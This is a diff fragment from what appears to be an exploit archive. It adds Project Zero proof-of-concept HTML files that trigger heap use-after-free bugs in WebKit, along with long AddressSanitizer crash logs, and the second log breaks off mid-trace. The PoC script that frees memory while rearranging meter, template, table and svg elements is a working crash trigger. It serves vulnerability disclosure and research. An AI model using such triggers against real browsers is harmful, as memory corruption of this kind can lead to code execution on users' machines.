#1 0x108c67f30 in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c4af30)
|
||||||
|
#2 0x10ba0dfda in WebCore::AXObjectCache::remove(unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1dafda)
|
||||||
|
#3 0x10ba1176e in WebCore::AXObjectCache::remove(WebCore::RenderObject*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1de76e)
|
||||||
|
#4 0x10de9fc0b in WebCore::RenderObject::willBeDestroyed() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x266cc0b)
|
||||||
|
#5 0x10dd1d9c8 in WebCore::RenderElement::willBeDestroyed() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x24ea9c8)
|
||||||
|
#6 0x10dea012f in WebCore::RenderObject::destroy() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x266d12f)
|
||||||
|
#7 0x10dfffd8f in WebCore::RenderTreeUpdater::tearDownRenderers(WebCore::Element&, WebCore::RenderTreeUpdater::TeardownType)::$_2::operator()(unsigned int) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27ccd8f)
|
||||||
|
#8 0x10dffe2dc in WebCore::RenderTreeUpdater::tearDownRenderers(WebCore::Element&, WebCore::RenderTreeUpdater::TeardownType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27cb2dc)
|
||||||
|
#9 0x10dffd1de in WebCore::RenderTreeUpdater::updateElementRenderer(WebCore::Element&, WebCore::Style::ElementUpdate const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27ca1de)
|
||||||
|
#10 0x10dffcc4d in WebCore::RenderTreeUpdater::updateRenderTree(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27c9c4d)
|
||||||
|
#11 0x10dffc47b in WebCore::RenderTreeUpdater::commit(std::__1::unique_ptr<WebCore::Style::Update const, std::__1::default_delete<WebCore::Style::Update const> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27c947b)
|
||||||
|
#12 0x10bfa17e9 in WebCore::Document::resolveStyle(WebCore::Document::ResolveStyleType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x76e7e9)
|
||||||
|
#13 0x10ba0cc58 in WebCore::AXObjectCache::getOrCreate(WebCore::Node*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1d9c58)
|
||||||
|
#14 0x10b84e516 in WebCore::AccessibilityNodeObject::addChildren() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1b516)
|
||||||
|
#15 0x10b897caf in WebCore::AccessibilityRenderObject::addChildren() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x64caf)
|
||||||
|
#16 0x10b86a69e in WebCore::AccessibilityObject::updateChildrenIfNecessary() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3769e)
|
||||||
|
#17 0x10b86a512 in WebCore::AccessibilityObject::children(bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x37512)
|
||||||
|
#18 0x10b84e02c in WebCore::AccessibilityNodeObject::insertChild(WebCore::AccessibilityObject*, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1b02c)
|
||||||
|
#19 0x10b897c01 in WebCore::AccessibilityRenderObject::addChildren() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x64c01)
|
||||||
|
#20 0x10b86a69e in WebCore::AccessibilityObject::updateChildrenIfNecessary() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3769e)
|
||||||
|
#21 0x10b86a512 in WebCore::AccessibilityObject::children(bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x37512)
|
||||||
|
#22 0x10b83fc55 in WebCore::AccessibilityList::determineAccessibilityRole() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xcc55)
|
||||||
|
#23 0x10b84c66e in WebCore::AccessibilityNodeObject::init() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1966e)
|
||||||
|
#24 0x10ba0ed91 in WebCore::AXObjectCache::getOrCreate(WebCore::RenderObject*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1dbd91)
|
||||||
|
#25 0x10b892810 in WebCore::AccessibilityRenderObject::handleAriaExpandedChanged() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5f810)
|
||||||
|
#26 0x10c14c041 in WebCore::Element::attributeChanged(WebCore::QualifiedName const&, WTF::AtomicString const&, WTF::AtomicString const&, WebCore::Element::AttributeModificationReason) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x919041)
|
||||||
|
#27 0x10c152268 in WebCore::Element::didAddAttribute(WebCore::QualifiedName const&, WTF::AtomicString const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x91f268)
|
||||||
|
#28 0x10c15207c in WebCore::Element::addAttributeInternal(WebCore::QualifiedName const&, WTF::AtomicString const&, WebCore::Element::SynchronizationOfLazyAttribute) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x91f07c)
|
||||||
|
#29 0x10c14b8d7 in WebCore::Element::setAttributeInternal(unsigned int, WebCore::QualifiedName const&, WTF::AtomicString const&, WebCore::Element::SynchronizationOfLazyAttribute) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9188d7)
|
||||||
|
|
||||||
|
previously allocated by thread T0 here:
|
||||||
|
#0 0x103e19d2c in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x56d2c)
|
||||||
|
#1 0x7fffe883a281 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib:x86_64+0x2281)
|
||||||
|
#2 0x108c71ae4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c54ae4)
|
||||||
|
#3 0x108c66c4d in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c49c4d)
|
||||||
|
#4 0x108bfc437 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1bdf437)
|
||||||
|
#5 0x108bfb768 in WTF::fastMalloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1bde768)
|
||||||
|
#6 0x10b835a08 in WTF::RefCounted<WebCore::AccessibilityObject>::operator new(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2a08)
|
||||||
|
#7 0x10b881ef9 in WebCore::AccessibilityRenderObject::create(WebCore::RenderObject*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x4eef9)
|
||||||
|
#8 0x10ba0fe5d in WebCore::createFromRenderer(WebCore::RenderObject*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1dce5d)
|
||||||
|
#9 0x10ba0ec59 in WebCore::AXObjectCache::getOrCreate(WebCore::RenderObject*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1dbc59)
|
||||||
|
#10 0x10ba0cb6f in WebCore::AXObjectCache::getOrCreate(WebCore::Node*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1d9b6f)
|
||||||
|
#11 0x10ba14ab8 in WebCore::AXObjectCache::handleAriaExpandedChange(WebCore::Node*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1e1ab8)
|
||||||
|
#12 0x10c14c041 in WebCore::Element::attributeChanged(WebCore::QualifiedName const&, WTF::AtomicString const&, WTF::AtomicString const&, WebCore::Element::AttributeModificationReason) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x919041)
|
||||||
|
#13 0x10c152268 in WebCore::Element::didAddAttribute(WebCore::QualifiedName const&, WTF::AtomicString const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x91f268)
|
||||||
|
#14 0x10c15207c in WebCore::Element::addAttributeInternal(WebCore::QualifiedName const&, WTF::AtomicString const&, WebCore::Element::SynchronizationOfLazyAttribute) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x91f07c)
|
||||||
|
#15 0x10c14b8d7 in WebCore::Element::setAttributeInternal(unsigned int, WebCore::QualifiedName const&, WTF::AtomicString const&, WebCore::Element::SynchronizationOfLazyAttribute) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9188d7)
|
||||||
|
#16 0x10c14b6c1 in WebCore::Element::setAttribute(WTF::AtomicString const&, WTF::AtomicString const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9186c1)
|
||||||
|
#17 0x10cd8fb93 in WebCore::jsElementPrototypeFunctionSetAttributeCaller(JSC::ExecState*, WebCore::JSElement*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x155cb93)
|
||||||
|
#18 0x10cd815d8 in long long WebCore::BindingCaller<WebCore::JSElement>::callOperation<&(WebCore::jsElementPrototypeFunctionSetAttributeCaller(JSC::ExecState*, WebCore::JSElement*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState*, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x154e5d8)
|
||||||
|
#19 0x10cd81441 in WebCore::jsElementPrototypeFunctionSetAttribute(JSC::ExecState*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x154e441)
|
||||||
|
#20 0x235a91e01027 (<unknown module>)
|
||||||
|
#21 0x10859434a in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x157734a)
|
||||||
|
#22 0x10859434a in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x157734a)
|
||||||
|
#23 0x10858d91a in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x157091a)
|
||||||
|
#24 0x1081f2757 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x11d5757)
|
||||||
|
#25 0x1081743da in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x11573da)
|
||||||
|
#26 0x1077ac0f1 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x78f0f1)
|
||||||
|
#27 0x1077ac362 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x78f362)
|
||||||
|
#28 0x1077ac6d3 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x78f6d3)
|
||||||
|
#29 0x10ca26a15 in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x11f3a15)
|
||||||
|
|
||||||
|
SUMMARY: AddressSanitizer: heap-use-after-free (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5fab8) in WebCore::AccessibilityRenderObject::handleAriaExpandedChanged()
|
||||||
|
Shadow bytes around the buggy address:
|
||||||
|
0x1c10000154a0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
|
||||||
|
0x1c10000154b0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
|
||||||
|
0x1c10000154c0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
|
||||||
|
0x1c10000154d0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
|
||||||
|
0x1c10000154e0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
|
||||||
|
=>0x1c10000154f0: fa fa fa fa[fd]fd fd fd fd fd fd fd fd fd fd fa
|
||||||
|
0x1c1000015500: fa fa fa fa 00 00 00 fc fc 00 00 00 00 00 00 00
|
||||||
|
0x1c1000015510: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
|
||||||
|
0x1c1000015520: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
|
||||||
|
0x1c1000015530: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
|
||||||
|
0x1c1000015540: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
|
||||||
|
Shadow byte legend (one shadow byte represents 8 application bytes):
|
||||||
|
Addressable: 00
|
||||||
|
Partially addressable: 01 02 03 04 05 06 07
|
||||||
|
Heap left redzone: fa
|
||||||
|
Freed heap region: fd
|
||||||
|
Stack left redzone: f1
|
||||||
|
Stack mid redzone: f2
|
||||||
|
Stack right redzone: f3
|
||||||
|
Stack after return: f5
|
||||||
|
Stack use after scope: f8
|
||||||
|
Global redzone: f9
|
||||||
|
Global init order: f6
|
||||||
|
Poisoned by user: f7
|
||||||
|
Container overflow: fc
|
||||||
|
Array cookie: ac
|
||||||
|
Intra object redzone: bb
|
||||||
|
ASan internal: fe
|
||||||
|
Left alloca redzone: ca
|
||||||
|
Right alloca redzone: cb
|
||||||
|
==29817==ABORTING
|
||||||
|
-->
|
||||||
207
platforms/multiple/dos/42362.html
Executable file
207
platforms/multiple/dos/42362.html
Executable file
|
|
@ -0,0 +1,207 @@
|
||||||
|
<!--
|
||||||
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1241
|
||||||
|
|
||||||
|
There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.
|
||||||
|
|
||||||
|
PoC:
|
||||||
|
|
||||||
|
=================================================================
|
||||||
|
-->
|
||||||
|
|
||||||
|
<script>
|
||||||
|
function freememory() {
|
||||||
|
var a;
|
||||||
|
for(var i=0;i<100;i++) {
|
||||||
|
a = new Uint8Array(1024*1024);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
function go() {
|
||||||
|
meter.textContent = "foo";
|
||||||
|
freememory();
|
||||||
|
}
|
||||||
|
function eventhandler() {
|
||||||
|
template.appendChild(table);
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
<body onload=go()>
|
||||||
|
<meter id="meter">
|
||||||
|
<shadow>
|
||||||
|
<template id="template">
|
||||||
|
</template>
|
||||||
|
<style onload="eventhandler()"></style>
|
||||||
|
<table id="table">
|
||||||
|
<iframe></iframe>
|
||||||
|
<svg>
|
||||||
|
|
||||||
|
<!--
|
||||||
|
=================================================================
|
||||||
|
|
||||||
|
ASan log:
|
||||||
|
|
||||||
|
=================================================================
|
||||||
|
==29516==ERROR: AddressSanitizer: heap-use-after-free on address 0x60c0000b7070 at pc 0x0001111c843b bp 0x7fff5369a300 sp 0x7fff5369a2f8
|
||||||
|
READ of size 8 at 0x60c0000b7070 thread T0
|
||||||
|
==29516==WARNING: invalid path to external symbolizer!
|
||||||
|
==29516==WARNING: Failed to use and restart external symbolizer!
|
||||||
|
#0 0x1111c843a in WebCore::Node::nextSibling() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1343a)
|
||||||
|
#1 0x1115649f3 in WebCore::removeDetachedChildrenInContainer(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3af9f3)
|
||||||
|
#2 0x111550892 in WebCore::ContainerNode::~ContainerNode() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x39b892)
|
||||||
|
#3 0x11195296d in WebCore::HTMLUnknownElement::~HTMLUnknownElement() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x79d96d)
|
||||||
|
#4 0x11e792118 in JSC::FreeList JSC::MarkedBlock::Handle::specializedSweep<true, (JSC::MarkedBlock::Handle::EmptyMode)1, (JSC::MarkedBlock::Handle::SweepMode)1, (JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0, (JSC::MarkedBlock::Handle::NewlyAllocatedMode)1, (JSC::MarkedBlock::Handle::MarksMode)1, JSC::(anonymous namespace)::DestroyFunc>(JSC::MarkedBlock::Handle::EmptyMode, JSC::MarkedBlock::Handle::SweepMode, JSC::MarkedBlock::Handle::SweepDestructionMode, JSC::MarkedBlock::Handle::ScribbleMode, JSC::MarkedBlock::Handle::NewlyAllocatedMode, JSC::MarkedBlock::Handle::MarksMode, JSC::(anonymous namespace)::DestroyFunc const&)::'lambda'(unsigned long)::operator()(unsigned long) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x12d1118)
|
||||||
|
#5 0x11e79092f in JSC::FreeList JSC::MarkedBlock::Handle::specializedSweep<true, (JSC::MarkedBlock::Handle::EmptyMode)1, (JSC::MarkedBlock::Handle::SweepMode)1, (JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0, (JSC::MarkedBlock::Handle::NewlyAllocatedMode)1, (JSC::MarkedBlock::Handle::MarksMode)1, JSC::(anonymous namespace)::DestroyFunc>(JSC::MarkedBlock::Handle::EmptyMode, JSC::MarkedBlock::Handle::SweepMode, JSC::MarkedBlock::Handle::SweepDestructionMode, JSC::MarkedBlock::Handle::ScribbleMode, JSC::MarkedBlock::Handle::NewlyAllocatedMode, JSC::MarkedBlock::Handle::MarksMode, JSC::(anonymous namespace)::DestroyFunc const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x12cf92f)
|
||||||
|
#6 0x11e78f3d2 in JSC::FreeList JSC::MarkedBlock::Handle::finishSweepKnowingSubspace<JSC::(anonymous namespace)::DestroyFunc>(JSC::MarkedBlock::Handle::SweepMode, JSC::(anonymous namespace)::DestroyFunc const&)::'lambda'()::operator()() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x12ce3d2)
|
||||||
|
#7 0x11e78ebdd in JSC::FreeList JSC::MarkedBlock::Handle::finishSweepKnowingSubspace<JSC::(anonymous namespace)::DestroyFunc>(JSC::MarkedBlock::Handle::SweepMode, JSC::(anonymous namespace)::DestroyFunc const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x12cdbdd)
|
||||||
|
#8 0x11e78e83c in JSC::JSDestructibleObjectSubspace::finishSweep(JSC::MarkedBlock::Handle&, JSC::MarkedBlock::Handle::SweepMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x12cd83c)
|
||||||
|
#9 0x11ea4de0d in JSC::MarkedBlock::Handle::sweep(JSC::MarkedBlock::Handle::SweepMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x158ce0d)
|
||||||
|
#10 0x11ea48f74 in JSC::MarkedAllocator::tryAllocateIn(JSC::MarkedBlock::Handle*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1587f74)
|
||||||
|
#11 0x11ea488c9 in JSC::MarkedAllocator::tryAllocateWithoutCollecting() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x15878c9)
|
||||||
|
#12 0x11ea498da in JSC::MarkedAllocator::allocateSlowCaseImpl(JSC::GCDeferralContext*, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x15888da)
|
||||||
|
#13 0x1124f0ac9 in void* JSC::allocateCell<WebCore::JSHTMLDocument>(JSC::Heap&, unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x133bac9)
|
||||||
|
#14 0x1124f0724 in WebCore::JSHTMLDocument::create(JSC::Structure*, WebCore::JSDOMGlobalObject*, WTF::Ref<WebCore::HTMLDocument>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x133b724)
|
||||||
|
#15 0x1124f066b in std::__1::enable_if<std::is_same<WebCore::HTMLDocument, WebCore::HTMLDocument>::value, WebCore::JSDOMWrapperConverterTraits<WebCore::HTMLDocument>::WrapperClass*>::type WebCore::createWrapper<WebCore::HTMLDocument, WebCore::HTMLDocument>(WebCore::JSDOMGlobalObject*, WTF::Ref<WebCore::HTMLDocument>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x133b66b)
|
||||||
|
#16 0x1124f0439 in std::__1::enable_if<!(std::is_same<WebCore::HTMLDocument, WebCore::Document>::value), WebCore::JSDOMWrapperConverterTraits<WebCore::HTMLDocument>::WrapperClass*>::type WebCore::createWrapper<WebCore::HTMLDocument, WebCore::Document>(WebCore::JSDOMGlobalObject*, WTF::Ref<WebCore::Document>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x133b439)
|
||||||
|
#17 0x1124efb1d in WebCore::createNewDocumentWrapper(JSC::ExecState&, WebCore::JSDOMGlobalObject&, WTF::Ref<WebCore::Document>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x133ab1d)
|
||||||
|
#18 0x1124efce8 in WebCore::toJS(JSC::ExecState*, WebCore::JSDOMGlobalObject*, WebCore::Document&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x133ace8)
|
||||||
|
#19 0x112ac88fe in WebCore::createWrapper(JSC::ExecState*, WebCore::JSDOMGlobalObject*, WTF::Ref<WebCore::Node>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x19138fe)
|
||||||
|
#20 0x111f50f6b in WebCore::toJS(JSC::ExecState*, WebCore::JSDOMGlobalObject*, WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd9bf6b)
|
||||||
|
#21 0x1126e1040 in WebCore::JSDOMWindowBase::updateDocument() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x152c040)
|
||||||
|
#22 0x113a707c3 in WebCore::ScriptController::initScript(WebCore::DOMWrapperWorld&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28bb7c3)
|
||||||
|
#23 0x10c925476 in WebCore::ScriptController::windowShell(WebCore::DOMWrapperWorld&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x3af476)
|
||||||
|
#24 0x10c922b08 in WebCore::ScriptController::globalObject(WebCore::DOMWrapperWorld&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x3acb08)
|
||||||
|
#25 0x10cc39044 in WebKit::WebFrame::jsContextForWorld(WebKit::InjectedBundleScriptWorld*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x6c3044)
|
||||||
|
#26 0x7fffe41e0ab1 in Safari::WebFeedFinderController::WebFeedFinderController(Safari::WK::BundleFrame const&) (/System/Library/PrivateFrameworks/Safari.framework/Versions/A/Safari:x86_64+0x55cab1)
|
||||||
|
#27 0x7fffe3d3cb57 in Safari::BrowserBundlePageController::determineWebFeedInformation(Safari::WK::BundleFrame const&) (/System/Library/PrivateFrameworks/Safari.framework/Versions/A/Safari:x86_64+0xb8b57)
|
||||||
|
#28 0x7fffe3d4a12d in Safari::BrowserBundlePageLoaderClient::didFinishLoadForFrame(Safari::WK::BundlePage const&, Safari::WK::BundleFrame const&, Safari::WK::Type&) (/System/Library/PrivateFrameworks/Safari.framework/Versions/A/Safari:x86_64+0xc612d)
|
||||||
|
#29 0x7fffe3e235ce in Safari::WK::didFinishLoadForFrame(OpaqueWKBundlePage const*, OpaqueWKBundleFrame const*, void const**, void const*) (/System/Library/PrivateFrameworks/Safari.framework/Versions/A/Safari:x86_64+0x19f5ce)
|
||||||
|
#30 0x10c72ccb5 in WebKit::InjectedBundlePageLoaderClient::didFinishLoadForFrame(WebKit::WebPage*, WebKit::WebFrame*, WTF::RefPtr<API::Object>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1b6cb5)
|
||||||
|
#31 0x10cc439ae in WebKit::WebFrameLoaderClient::dispatchDidFinishLoad() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x6cd9ae)
|
||||||
|
#32 0x111cd6602 in WebCore::FrameLoader::checkLoadCompleteForThisFrame() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb21602)
|
||||||
|
#33 0x111cca297 in WebCore::FrameLoader::checkLoadComplete() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb15297)
|
||||||
|
#34 0x1119a03d1 in WebCore::DocumentLoader::finishedLoading() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7eb3d1)
|
||||||
|
#35 0x11142f997 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27a997)
|
||||||
|
#36 0x1114292aa in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2742aa)
|
||||||
|
#37 0x113db0c41 in WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2bfbc41)
|
||||||
|
